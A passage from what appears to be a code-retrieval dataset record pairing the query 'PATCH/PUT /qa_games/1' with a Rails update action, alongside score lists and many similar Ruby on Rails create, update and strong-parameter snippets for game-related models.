"def game_params\n params.require(:game).permit(:quiz_id, :correct_ans, :total_ans, :game, :user_id)\n end",
"def create\n gp = game_params\n gp['organizer_id'] = current_user.id\n @game = Game.new(gp)\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to edit_game_path(@game), notice: 'Game was successfully created.' }\n format.json { render action: 'show', status: :created, location: @game }\n else\n format.html { render action: 'new' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def game_params\n params.require(:game).permit(:score, :duration, :backflips, :verification_token)\n end",
"def create\n @user_game = UserGame.new(user_game_params)\n\n respond_to do |format|\n if @user_game.save\n format.html { redirect_to @user_game, notice: 'User game was successfully created.' }\n format.json { render :show, status: :created, location: @user_game }\n else\n format.html { render :new }\n format.json { render json: @user_game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def game_params\n params.require(:game).permit(:id, :season_id, :time, :field_id, :home_team_id, :home_team_score, :away_team_id, :away_team_score, :game_type_id, :until)\n end",
"def create\n @howtoplaygame = Howtoplaygame.new(howtoplaygame_params)\n\n respond_to do |format|\n if @howtoplaygame.save\n format.html { redirect_to @howtoplaygame, notice: 'Howtoplaygame was successfully created.' }\n format.json { render :show, status: :created, location: @howtoplaygame }\n else\n format.html { render :new }\n format.json { render json: @howtoplaygame.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #directions = Score::DIRECTIONS.map{|k,v| k}\n #directions.shuffle!\n params[:game].merge!({:meeting_id => @meeting.id})\n @game = Game.create!(params[:game])\n participant_ids = params[:participants].collect{|id| id.to_i} if params[:participants]\n participant_ids.each do |id|\n score = Score.new\n score.game_id = @game.id\n score.participant_id = id.to_i\n #score.direction = directions.shift\n score.save!\n end\n\n respond_to do |format|\n if @game\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def prediction_game_params\n params.require(:prediction_game).permit(:game_winner, :teama_score, :teamh_score, :game_id, :event_time, :status, :teama, :teamh, :league, :article_id, :predictor_id, :cost, :paid, :title, :body)\n end",
"def create\n # create game and save, then add Score connector\n @game = Game.new(params[:game])\n respond_to do |format|\n # creating new game, and new association between selected player and game\n if @game.save && @game.add_player(@player)\n flash[:notice] = 'Game was successfully created.'\n format.html { redirect_to(games_url) }\n format.xml { render :xml => @game, :status => :created, :location => @game }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @game.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def game_params\n params.require(:game).permit(\n :stories,\n :draw_urls,\n :num_rounds)\n end",
"def game_params\n params.require(:game).permit(:user_id, :game_id, :game_name, :platforms, :img_url_small, :img_url_large, :deck, :developers, :genre)\n end",
"def create\n @game = Game.new(game_params)\n\n respond_to do |format|\n if @game.save\n format.html { render :edit, notice: 'Game was successfully created.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \t#Add player to playground\n @playground = current_playground\n @playgrounds = Playground.all\n #Reset player question variables\n\t@player = Player.find(params[:player_id])\n\t@player.update_attribute(:number_response, 0)\n\t@player.update_attribute(:correct, -1)\n\t@player.update_attribute(:time, 1000)\n\t@player.update_attribute(:winner, -1)\n\t\n\t@game_player = @playground.game_players.build(player: @player)\n\t\n respond_to do |format|\n if @game_player.save\n format.html { redirect_to board_url }\n format.js\n format.json { render json: @game_player, status: :created, location: @game_player }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game_player.errors, status: :unprocessable_entity }\n end\n end\n end",
"def appjayan_params\n params.require(:appjayan).permit(:game, :score)\n end",
"def qa_game_params\n params.require(:qa_game).permit(:name, :layout)\n end",
"def game_params\n params.require(:game).permit(\n :home_team_id, :home_team_name,\n :away_team_id, :away_team_name,\n :home_quarter_1, :home_quarter_2, :home_quarter_3, :home_quarter_4,\n :away_quarter_1, :away_quarter_2, :away_quarter_3, :away_quarter_4,\n :period, :possession,\n :location,\n :game_day, :game_time\n )\n end",
"def create\n @bestgame = Bestgame.new(params[:bestgame])\n\n respond_to do |format|\n if @bestgame.save\n format.html { redirect_to @bestgame, notice: 'Bestgame was successfully created.' }\n format.json { render json: @bestgame, status: :created, location: @bestgame }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bestgame.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game_tournament = GameTournament.new(params[:game_tournament])\n\n respond_to do |format|\n if @game_tournament.save\n format.html { redirect_to @game_tournament, notice: 'Game tournament was successfully created.' }\n format.json { render json: @game_tournament, status: :created, location: @game_tournament }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game_tournament.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(game_params)\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: game_params }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def game_params\n params.require(:game).permit(:date, :scenario_id, :gamingtime, :turnsplayed, :status, game_players_attrs)\n end",
"def wantedgame_params\n params.require(:wantedgame).permit(:game_api_id, :game_name, :game_image, :game_owned, :user_id)\n end",
"def create\n @game = Game.new(game_params)\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'El juego se ha creado!.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def game_params\n params.require(:game).permit(:on_date, :match_id, :team_score, \n :opponent_team_score, team_attributes: [:name, user_teams_attributes: [:user_id, :team_id]], \n opponent_team_attributes: [:name, user_teams_attributes: [:user_id, :team_id]])\n end",
"def game_params\n params.require(:game).permit(:game_name, :appid, :playtime, :img_icon_url, :user_id)\n end",
"def create\n @gameplay = Gameplay.new(params[:gameplay])\n\n respond_to do |format|\n if @gameplay.save\n format.html { redirect_to @gameplay, notice: 'Gameplay was successfully created.' }\n format.json { render json: @gameplay, status: :created, location: @gameplay }\n else\n format.html { render action: \"new\" }\n format.json { render json: @gameplay.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @posgames = Game.where(:giver_id => current_user.id).where(:gamestatus => \"give\")\n if @posgames.count > 0\n @game = @posgames.first\n\n respond_to do |format|\n format.html { redirect_to @game }\n format.json { render :show, status: :created, location: @game }\n end\n else\n \t@allwords = File.new(\"config/wordlist\").readlines.sample(15)\n \t@allwords.each do |w|\n \tw.include?(\"\\n\") ? w.gsub!(\"\\n\", \"\").upcase! : w.upcase!\n \t\tend\n \t\t@correctwords = @allwords.sample(7)\n \t\t@loseword = @correctwords[0]\n \t\t@correctwords.slice!(0)\n\n \t\t@game = Game.new\n \t\t@game.update(:allwords => @allwords, :gamestatus => \"give\", :correctwords => @correctwords, \n \t\t\t:loseword => @loseword, :giver_id => current_user.id)\n\n \t\trespond_to do |format|\n if @game.save\n format.html { redirect_to @game }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def game_params\n params.require(:game).permit(:date, :opponent, :my_score, :opponent_score, :user_id)\n end",
"def game_params\n params.fetch(:game).permit(:home_goals, :away_goals, :overtime_loss)\n end",
"def create\n @game = Game.create(params[:game])\n\t\t@game.rate_average = 0.0\n\t\t@game.rate_quantity = 0\t\n\t\t@game.tags = build_tags_from_params(params) if params[:commit] == 'Update Game' \n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(game_params)\n assign_for_user\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_game = Game.new(admin_game_params)\n\n respond_to do |format|\n if @admin_game.save\n format.html { redirect_to @admin_game, notice: 'Game was successfully created.' }\n format.json { render :show, status: :created, location: @admin_game }\n else\n format.html { render :new }\n format.json { render json: @admin_game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def game_params\n params.require(:game).permit(\n :name,\n :rule_set,\n :description,\n :objective,\n :details,\n :game_master_id,\n armies_attributes: [\n :id,\n :is_winner,\n :is_loser\n ]\n )\n end",
"def create\n @game = Game.new(game_params)\n @game.set_curb_choice\n @game.find_winner\n\n respond_to do |format|\n if @game.save\n @game_result = GameResult.new(user_choice: @game.user_choice,\n curb_choice: @game.curb_choice,\n winner: @game.winner)\n format.json { render :show, status: :created }\n else\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quiz = Quiz.new(quiz_params)\n questions_arr.each do |i|\n question = Question.new(question_params(i))\n choices_arr(i).each do |j|\n choice = Choice.new(choice_params(j))\n choice.save\n question.choices << choice\n end\n @quiz.questions << question\n end\n\n if @quiz.save\n User.find(params[:user_id]).quizzes << @quiz\n render json: @quiz, status: :created, location: @quiz\n else\n render json: @quiz.errors, status: :unprocessable_entity\n end\n end",
"def create\n acc_games = params[:account_game].values.select{ |games| games[\"game_id\"] != \"\"}\n @new_games = current_account.account_games.create(acc_games)\n respond_to do |format|\n if @new_games.inject(true){|acc, record| acc = acc && !record.new_record? }\n @account_games = current_account.account_games.all\n flash[:now] = \"#{@new_games.count} jeux ont été ajoutés a votre ludotheque\"\n format.html { redirect_to account_games_url}\n format.js do\n @account_game = @new_games.first\n end\n format.xml { head :created, :location => account_games_url }\n else\n format.html do\n render :action => \"new\" \n end\n format.xml { render :xml => @account_game.errors.to_xml }\n end\n end\n end"
] |
[
"0.70323867",
"0.6831832",
"0.6684747",
"0.6599768",
"0.65332335",
"0.65134794",
"0.6467209",
"0.64558333",
"0.6430323",
"0.63851994",
"0.6361816",
"0.6312963",
"0.6295411",
"0.62876123",
"0.62810636",
"0.62694883",
"0.6268313",
"0.6266465",
"0.62457585",
"0.6244908",
"0.6210801",
"0.6210801",
"0.6210801",
"0.6210801",
"0.6210801",
"0.6183446",
"0.61750644",
"0.61684155",
"0.6151701",
"0.6149727",
"0.614337",
"0.6142848",
"0.6137704",
"0.61271",
"0.61242074",
"0.61242074",
"0.61242074",
"0.61242074",
"0.61242074",
"0.61242074",
"0.61242074",
"0.61242074",
"0.61242074",
"0.61242074",
"0.6119013",
"0.61021227",
"0.6096544",
"0.6094802",
"0.6082366",
"0.6077721",
"0.6076302",
"0.60700107",
"0.6068181",
"0.6066603",
"0.60648894",
"0.60631645",
"0.6062406",
"0.6061677",
"0.605105",
"0.6036262",
"0.60361046",
"0.60356474",
"0.60314554",
"0.6024992",
"0.60248977",
"0.6022766",
"0.601627",
"0.6013524",
"0.59999686",
"0.59870166",
"0.59859776",
"0.59782726",
"0.59768295",
"0.5965355",
"0.59573597",
"0.5952484",
"0.5951853",
"0.59504986",
"0.59442425",
"0.5942873",
"0.5942632",
"0.59370995",
"0.5936088",
"0.5931764",
"0.5930054",
"0.5927502",
"0.59258044",
"0.5924316",
"0.5921438",
"0.5920424",
"0.5913229",
"0.5908912",
"0.5897368",
"0.5894832",
"0.58887374",
"0.5880869",
"0.5873989",
"0.5870282",
"0.5869339",
"0.5866807"
] |
0.7221785
|
0
|
PATCH/PUT /qa_games/1 PATCH/PUT /qa_games/1.json
|
def update
respond_to do |format|
if @qa_game.update(qa_game_params)
format.html { redirect_to @qa_game, notice: 'Qa game was successfully updated.' }
format.json { render :show, status: :ok, location: @qa_game }
else
format.html { render :edit }
format.json { render json: @qa_game.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n #if game exists, pass here to update state\n @game = Game.find_by(id: params[:id])\n @game.update(game_params)\n render json: @game, status: 201\n end",
"def update\n @game = current_user.games.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game].merge({ :user_id => current_user.id }))\n format.html { redirect_to games_path, notice: 'Game was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n @games = current_club_player.games\n format.html { redirect_to dashboard_path, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:user_id])\n @game = @user.games.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to user_game_path(@user,@game), :notice => 'Game was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @game.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to contest_games_path, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n team_name = params[:name]\n team_description = params[:description]\n team_id = params[:id]\n\n respond_to do |format|\n if OkrTeam.where(id: team_id).update_all(name: team_name, description: team_description)\n format.json { render json: 'Team is updated successfully!', status: :ok }\n else\n format.json { render json: 'Error!', status: :unprocessable_entity }\n end\n end\n end",
"def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @game = Game.find(params[:id])\n @corporations = Corporation.order(:faction, :slogan)\n @runners = Runner.order(:faction, :name)\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, :notice => 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @game.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @old_game = OldGame.find(params[:id])\n\n respond_to do |format|\n if @old_game.update_attributes(params[:old_game])\n format.html { redirect_to @old_game, notice: 'Old game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @old_game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n game = Game.find(params[:game_id])\n @player_game = game.player_games.find(params[:id])\n\n respond_to do |format|\n if @player_game.update_attributes(params[:player_game])\n format.html { redirect_to(@player_game, :notice => 'Player game was successfully updated.') }\n format.xml { head :ok }\n format.json { render :json => @player_game}\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @player_game.errors, :status => :unprocessable_entity }\n format.json { render :json => @player_game}\n end\n end\n end",
"def update\n @game = Game.find(params[:id])\n\n #First update the players table to indicate who is playing this game\n set_player_availability(params)\n \n #Find teams and update their names\n home_team = Team.find(@game.home_team_id)\n home_team.name = params[:home_team_name]\n away_team = Team.find(@game.away_team_id)\n away_team.name = params[:away_team_name]\n \n #Create home and away teams from available players\n build_teams(home_team, away_team)\n \n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to games_url, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_mod\n if params[:title] != nil && params[:content] != nil\n @question.title = params[:title]\n @question.content = params[:content]\n\n question_json = @question.to_h.to_json\n\n url = @httpIp+'/pet.com/api/question/updateQuestion'\n uri = URI(url)\n res = Net::HTTP.post(uri, question_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully updated\"\n redirect_to questions_path\n end\n end",
"def update\n @game = Game.get(params[:id])\n\n respond_to do |format|\n if @game.update(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if User.update(current_user.id, :game_id => params[:id])\n format.json { head :no_content }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @games_team.update(games_team_params)\n format.html { redirect_to @games_team, notice: 'Games team was successfully updated.' }\n format.json { render :show, status: :ok, location: @games_team }\n else\n format.html { render :edit }\n format.json { render json: @games_team.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @game = Game.find_by_slug(params[:id])\n\t\t@game.tags = build_tags_from_params(params) if params[:commit] == 'Update Game'\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n @game.turn = params[:game][:turn]\n @game.finished = params[:game][:finished]\n @game.winner = params[:game][:winner]\n @game.overall_score = ActiveSupport::JSON.decode(params[:game][:overall_score])\n @game.game_state = ActiveSupport::JSON.decode(params[:game][:game_state])\n\n respond_to do |format|\n if @game.save\n format.json { head :no_content }\n else\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bestgame = Bestgame.find(params[:id])\n\n respond_to do |format|\n if @bestgame.update_attributes(params[:bestgame])\n format.html { redirect_to @bestgame, notice: 'Bestgame was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bestgame.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @gameplay = Gameplay.find(params[:id])\n\n respond_to do |format|\n if @gameplay.update_attributes(params[:gameplay])\n format.html { redirect_to @gameplay, notice: 'Gameplay was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gameplay.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @team = Team.find(params[:id])\n\n if @team.update_attributes(params[:team])\n head :no_content\n else\n render json: @team.errors, status: :unprocessable_entity\n end\n end",
"def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n update_standings\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n id = User.find_by_fb_id(params[:id]).id\n @user_game = UserGame.find_by_user_id(id)\n\n respond_to do |format|\n if @user_game.update_attributes(params[:user_game])\n format.json { head :no_content }\n else\n format.json { render json: @user_game.errors }\n end\n end\n end",
"def update\n respond_to do |format|\n if @games_of_week.update(games_of_week_params)\n format.html { redirect_to @games_of_week, notice: 'Games of week was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @games_of_week.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @player_game = PlayerGame.find(params[:id])\n\n respond_to do |format|\n if @player_game.update_attributes(params[:player_game])\n format.html { redirect_to @player_game, :notice => 'Player game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @player_game.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game_set.update(game_set_params)\n format.html { redirect_to @game_set, notice: 'Game set was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @game.battling_armies.each do |army|\n army.is_loser = true if army.is_winner == false\n army.save\n end\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @gamesofweek.update(gamesofweek_params)\n format.html { redirect_to @gamesofweek, notice: 'Gamesofweek was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @gamesofweek.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to games_path, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: game_url(@game, format: :json) }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @league_game.update(league_game_params)\n format.html { redirect_to @league_game, notice: 'League game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @league_game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n streak, success = jsonapi_update.to_a\n\n if success\n render_jsonapi(streak, scope: false)\n else\n render_errors_for(streak)\n end\n end",
"def update\n @game = Game.instance\n\n respond_to do |format|\n if @game.update_attributes(game_params)\n format.html { redirect_to game_path, flash: { success: 'Game was successfully updated.' } }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if :opr == 'edit'\n update\n else\n @team = Team.find_by_id(params[:id])\n @team.update_attributes({:id => params[:id], :name => params[:name], :status => params[:status]})\n\n if request.xhr?\n render :json => @team\n end\n end\n end",
"def update\n respond_to do |format|\n if @games_pick.update(games_pick_params)\n format.html { redirect_to @games_pick, notice: 'Games pick was successfully updated.' }\n format.json { render :show, status: :ok, location: @games_pick }\n else\n format.html { render :edit }\n format.json { render json: @games_pick.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to(@game, :notice => 'Game was successfully updated.') }\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @game.errors, :status => :unprocessable_entity }\n format.json { render :json => @game.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
